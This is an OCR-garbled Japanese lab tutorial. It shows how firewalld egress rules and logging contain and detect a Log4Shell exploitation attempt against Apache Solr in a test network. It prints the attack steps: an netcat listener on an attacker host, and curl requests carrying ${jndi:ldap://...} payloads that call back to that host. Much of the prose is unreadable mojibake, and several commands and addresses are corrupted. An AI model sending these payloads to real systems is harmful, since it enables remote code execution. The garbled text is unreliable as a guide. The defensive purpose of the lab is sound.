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2.1firewalld 77 /3> F 80, 443 FAEEE
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BEERKRT ZHEHLSHWE T, SEIE. VRATLT v T7— Mz ETKLLFBENS 80, 443 R—
FERIRL THET,

PE5NHY—/\— (Victim) T XDIAXY REAHDLTLIEEL,

# firewall-cmd ——reload
# firewall-cmd ——direct ——get-all-rules

# firewall-cmd ——list-all —-zone=public

firewalld O direct [CRREDA 2 TWEWT & AD 5D 8983 R— FHFFRIEN TS T & = HESR
L&Y,

[root@Uictim “1# firewall-cmd --reload
lsuccess
[rootOUictim 1 firewall-cmd —-direct --get-all-rules
[rootOUictim 1 firewall-cmd —-list-all --zone=public
jublic (active)

target: default

icmp-block-inversion: no

interfaces: enpBs3

SOUrCEes :

services: cockpit dhcpub-client ssh

ports: 8983-tcp

protocols:

forward: yes

masguerade: no

forward-ports:

source-ports:

icmp-blocks:

rich rules:

HERCEL. DAY FEANILET,

# firewall-cmd —permanent —direct --add-rule ipv4 filter
OUTPUT 1 -p tcp ——dport 80:443 —-j ACCEPT

# firewall-cmd —permanent —direct —--add-rule ipv4 filter
OUTPUT 2 -m state ——state NEW -o enp@s3 —j DROP

# firewall-cmd —reload

# firewall-cmd —direct —-—get-all-rules

RDEBYVREDPADTCVWAZ EZRERL TLEELY,

[root®Victim solr-8.11.81# firewall-cmd --direct --get-all-rules
ipv4 filter OUTPUT 1 -p tcp --dport 88:443 -j ACCEPT

ipvd filter OUTPUT 2 -m state --state NEW -o enpBs3 -j DROP




2.2 L EDIREE
Attacker . UFDOX > FZERITL. netcat 7O S LZFIB LT, 5EiX 80 FXR—F /tcp T
#FEZIELEY,

ncH 80 FAR— b CRBERITTCWAT EZRRL TLITEL,

[root@Attacker ~1# nc -lnwp B8
cat: Uersion 7.92 ( https://nmap.orgsncat )

cat: Listening on :::88
cat: Listening on B.8.8.08:88

RiT, CtHAI+R2 ZAFIL. BIDZ—ZFILABEFLET,
BDZ—ZFINBE LIS, XDOARY RERITLEY (80 FBFR— MMEH),

# curl ‘http:// :8983/solr/admin/cores?

foo=$\{jndi: ldap:// 180\}'[]

ZHOOR Y FCIE 8983 HR— F CrRr5=IT C L5 Apache Solr (€ HTTP #i5t L foo /NZ X —2—
IZ. Log4shell DFFFEd— RZANDLTWVET,
IR Y FAN#E. BEEbERRIEENE A,

[root@Attacker ~1# curl 'http:/-192.168.0.38:8983/s0lradmin cores?foo=55{ jndi:ldap:-,192.168.A.48 :88\ "
{

“responseHeader" : {
“status":@,
"QTime":18Y,

"initFailures":{},

"status":{}¥

R, CHAHF1 ZATI L. ncH 80 BR— F THEDBRIFTCVWBEEZ—IFILANRD &£, SEIFHE
DEINL. P5NT—/ = (Victim) NDOAXT b\ TBEDNEELTWBT ENHERTEET,

[root@Attacker ~1# nc -Invp 88
: Version ?.92 ( https: - nmap.org-ncat )
: Listening on :::88
¢ Listening on 8.8.0.8:88

: Commection from 192.168.8.38.
: Commection from 192.168.0.38:58874.

VATLT Y TT— hPEBIHELGR— MR EEBB LD, HRADBREVZET, LH
L. AIEIT%Z D fc FW I K BERIEIE. TN TOR>HAEEEHFE L TOEWVIRETHELE,
Logdshell REZPAEED T LN LV EERLTVET, WEBIFENTWVWSREEZSNEH—
FEIERIRR L THET 25 E L TL Bcth. FW RERE TIFHEMKE LTER T2 THBI &
DR TEE T,

n



2.3 firewalld O J'HU{S587E

BIRE LTUER TR CTHhEEAMRELE LIcH. FW D, Logdshell RE(TEEKRNEWVD &, &4
FTLEZSEERY FHA, RETERIEDS FW DFRETE LoHh W &EfT52 8 Bl 7o vREIP
7 RLURAZFIRYT 57 L) T, Logdshell DK S GHFTcEMEBEANRE LIIRIC. WEHSV AT A
EFBH—BIEIEEY ET,

b5, FW COJ =BG L. BERETE D &, WELZHIEICKRHET ST EICDBHAVET,

T TlE. FW TOOJESZ 1T, Logdshell IWEEF DO J /IR AR LE T,

PSNT—/\= (Victim) T, FFE ROAYY FERTLTLEEL,

# dmesg ——console-level 3

ZhuE, firewalld Ic &2 RAEOTHAEINZ BHDHRECTI .
REMEDWELESADOAR Y FERITLTLETL, ThITKY. FIWAATZHENTE LD
ITRELE T,

# firewall-cmd —get-log-denied

# firewall-cmd —set-log-denied=all
# firewall-cmd —get-log—denied

WFDEEY, Talll BHEATNE LISREIFTT T

[root@Victim #1# firewall-cmd --get-log-denied
of f
[root@Victim ~#1# firewall-cmd --set-log-denied=all
jsuccess
EDDtEUictim 1t firewall-cmd --get-log-denied
11

2.4 B FE1EDIREE
Attacker T. DOV RFAERFTLTLIEETL,

# curl ‘http:// :8080/solr/admin/cores?foo=$\
{jndi:ldap:// 180\}’
# curl ‘http:// :8983/solr/admin/cores?foo=$\

{jndi: ldap:// \}’

TRV RTIE. BIERIZ 8080 FAR— kb (tomcat EERFBZIF TSR T ERZLY), KBERIZ.
8983 BER— k TEBZIF T3 Apache Solr (€ HTTP ##5 L. foo /N\Z X —% —(c. Logdshell D
BEEd— FZ AL TWVET,

IR FAS#E. BIRkIE. FWICKWERNMER TN, BERHD CELVLEDRTHDGEENET,

[root@Attacker ~1# curl 'http:,-192.168.0.30:80088/solr admin/cores?foo=95\{jndi: ldap:~-192.160.0.48:88%)"
curl: (7) Failed to commect to 192.168.8.38 port 8888: No route to host




BERIFINETLEALLED > feRTRIFENE A,

[root@Attacker ~1# curl "http:--192.168.8.38:8983/s0lr admin cores?foo=5u{ jndi:1dap:/-192.168.8.48 868\
1

"responseHeader”: {
“status":0,
“QTime":183,

"initFailures":{},

“status":{}}

2.5 OJOH R
A DEIRRZREELE T
Pont—/\— (Victim) ¢ UTFDOIXY FZRTFLTLIREL,

# tail /var/log/messages

WFOOIHHERTEET,

r 18 18:45:42 Uictim N_public_REJECT: IN=enp@s3 OUT= MAC=81
|-8x88 PREC=-8xB0 TTL= 64 l]) 46832 DF PRU’IU TCP SPT 43584 DPT=-8680 WINDOW=: 32128 RES 888 SYN URGP-8

:@@ SRC=19Z.168.8.48 DST=192.168.8.38 LEN=68

SRC (Source) [T Attacker (192.168.0.40). DST (Destination) (< Victim (192.168.0.38). DPT
(Destination Port ) | 8080 Hae&xENTH Y. Attacker H5 Victim M 8080 FBR— DB EA
70y LIEBEOVHRRENTWS T ENERTEELT, A, BEHKIN LI 8983 FHR—
FDBEICDOVWTIEATHAHEAENE B A, THE FEICERE L1z firewalld DO 5 H5&E Tl
ERLI@EETEVWEOIEHALEWNZHTT,

2.6 AR (A-2mE) QJESHRE

FEICRE LIz firewalld DO HARETIE. IBELIEBETHEVWEATEHA LEW S, 3]
TNEBEREICDOVTE. AT EHALEWE, Lodshell EDHEICHT B FHHHEE & L,’(L;t7F+
DT, LH L. 8983 BR— DB ENREL TR —EREBETDE. ThE5DO0%
IRTCDOY—/N\—THIE. RETZLF. OJRTTT A AV EEET 555 E. R TIEEWL
e LNEEA.

oA, BES. A-ABEBET. IVIDIT7 U O0— R 55 EDHBN—RHTY, I T
AR TIE. RA=NBEEDHFTSNCBEDO Y DIH%EFHHICEE T 2R EXTTLET.

o —/N\— (Victim) T ROV FEAALTLZEWL

# firewall-cmd —permanent —direct --add-rule ipv4 filter OUTPUT @ -m
state ——state NEW —-p all —-j LOG —-log—prefix Hl-firewalld

# firewall-cmd —reload

IW—IVDREDTT LS. RDIARY FZAALTLZEW

# firewall-cmd —direct ——get-all-rules

13



RDESVREDBHEN TN FW DREIFTET T

[root@Victim “1# firewall-cmd --direct --get-all-rules
ipw4 filter OUTPUT 1 -p tcp —-dport 88:443 -j ACCEPT
ipwd filter OUTPUT 2 -m state --state NEW -o enpBs3 -j DROP

ipw4 filter OUTPUT B -m state --state NEW -p all -j LOG —-log-prefix 'HJ-firewalld '

2.7 ¥ L F5IEDIREE
Attacker . DX RAERIFTLTLIEEL,

# curl ‘http:// :8983/solr/admin/cores?foo=$\
{jndi:ldap:// s

ZDAX > FTI&. 8983 HR— h THEBZIF TS Apache Solr [T HTTP $##5: L. foo /NT A —&2—
IZ. Log4shell DIRFEI— R&E AL TWVWET,
O Y FANER. BERIEZED IERRIEEThEEA (TTTHEHEHEDORBIEEVOEEA),

[root@Attacker “1# curl 'http:-~-192.168.8.38:8983 so0lr admin/cores?foo=95{jndi: ldap: ,192.168.8.48:808%\)"
i

"responseHeader" : {
"status":@,
"QTime":18%,

"initFailures": {3,

"status":{}}

2.8 O 45 D FkEsR
07 DHTRAERRLET,
Pontt—/\— (Victim) T, UTFDIXY FEaRIFLTLIEEL,

# tail /var/log/message

MFOATHHERTCEE T,

Mar 18 B6:83:33 Victim kernel: HJ-firewalld IN= OUT=enpBs3 SRC=192.168.8.38 DST-192.168.8.48 LEN=-68 TOS-AxAA PREC-AxAB TTL-64 1D=55279 DF PROTO=TCP SPT-58258
[1-88_LINDOW=3217A RES=Bx@8_SYN URGP=0

RC (Source) IZ Victim(192.168.0.38) . DST (Destination) (< Attacker (192.168.0.40) . DPT (Destination
Port) | 80 hEEERENTH Y. Victim H'5 80 BR— bADIORY b\ Z@EOYHEEHRIN
TWBTELHERTEXY, COAOYBEDHTIE. TDBEBFEHNKEICEHDSBENEDL DY
BB LUV DE LNE A, LH L. BE. ARETD 80 FBAR— MEEH. YRATLT7 Y TT—F
BABEELHIEWNEES. SEIDKSICAVERBLTHBWELET. AV TFV RABREEDESHZHE
LY. LobWeEnIZEFELTEWNEN 5T LT BREFELEZEFERETESRE.
WEERETCESARENSTVET, oo ERICKRBHERELZDOBITBEWCH, FW DO
JEHERT 5T & T WERREOHRD CESAREMENH ST EHDHY ET,

3. ZofhoSIISHRE

3.1 05 DHPERE
2.6 CRE LT FW DREICIE. —log-prefix + 7 3 U HEIBELTVWEY, ZDs, HAThBO
J1clE TH)-firewalll OXFFIIMTEENTWET,



INEZFRLT. OVDRNEEZEELE T,
o5t —/N— (Victim) T. XOHIEBEIT [/etc/rsyslog.confl (CEEEZIBREL TLEEL,
tt Log a

tt Logging much else clutters up the screen.
ftkern . = sdev/console

#t Log anything (except mail) of lewvel info or higher.

# Don't log private authentication messages?
=, info:mail none:authpriv, none:cron.none svarslog/mesSsages
‘msg, contains, "HJ-firewalld” -svarslog/HI-f irewalld. log

REOE. RDIRY FZ=X1TLEY,

# systemctl restart rsyslog

INT. FWORY7T—42b ER7 7 A IVICENENELSICBEYET,

BIZIE. BE. Logdshell DREFEI— FZRAWT 772X 95T & T [var/log/Hl-firewalld.log
Oy ehEhEd,

TTTlk ROOARY RERGFLTOV 7 7MIVEER L TEEET,

# touch /var/log/ Hl-firewalld. log

3204 0—7— bRE

JICIEZ K DR\|HAENETOTEYNCEERZ LEWE, RELZOITDHIBRENTLE >z,
A REBICT 4 R ZEELEY LTLESBENBWEY., OJZEET2KICE. OV &2O0—
T—hIBLEEBEICEELEL & D,

4MElE. logrotated ZEVWCH—T— FDREETHEVE T,
P5h—/\— (Victim) T. LUFDAR% [/etc/logrotate.d/HJ-firewalld.logl & LT®RELTK

missingok

rotate 4
copytruncate
minsize 1M

REDE. ROV FZ=RTLET,

# logrotate —-d /etc/logrotate.d/HJ-firewalld. log

15



SE. AT —2ENBEHEEBRLLTWEW S, O—F— T3 EEELERBVETH
Mogdoesnot -] LA—F— FREHGHEENTWNET EDBERCERLSREIFTT T,

[root@Victim logrotate.dl# logrotate -d HJ—firewalld. log
ARNING: logrotate in debug mode does nothing except printing debug messages?! Consider using verbose mode (-v) instead if this is not what you want.

reading config file HI-firewalld.log

Reading state from file: svar/libslogrotateslogrotate.status
pllocating hash table for state file, size 64 entries
reating new state

reating new state

reating new state

reating mew state

reating new state

reating new state

reating new state

reating new state

reating new state

reating new state

reating new state

reating new state

reating new state

reating new state

reating new state

fandling 1 logs

otating pattern: svar/logsHI-firewalld.log weekly (4 rotations)
empty log files are rotated, only log files >= 1848576 bytes are rotated, old logs are removed
onsidering log ~varslog/HI-f irevalld. log

Now: 2624-83-18 B89:22

Lost_rotated ot 2A74-A3-1A_A9.AA

log does not need rotating (log has already been rotated)

4. BbVYIc

SEE. OOVIERERE LT, BYICO/RERERFRMmLTH T LT, Logdshell g%
Wi, OAICk 2EIRROTEERRELE L, HAISLTO/OREREFBE L, KEx
BT LESBICE, MEBICESERRTES L5 LTEEEL L,

REDSIE. Z21—REHE. V=¥ AT 47 BIRRESEEORNICHIARREGY — AL 51E
HREWNESLUIHI S TOSINTI DFE=HRLET,



Human «IT

ANEITOFHF T, BEELBHOY - 2%,




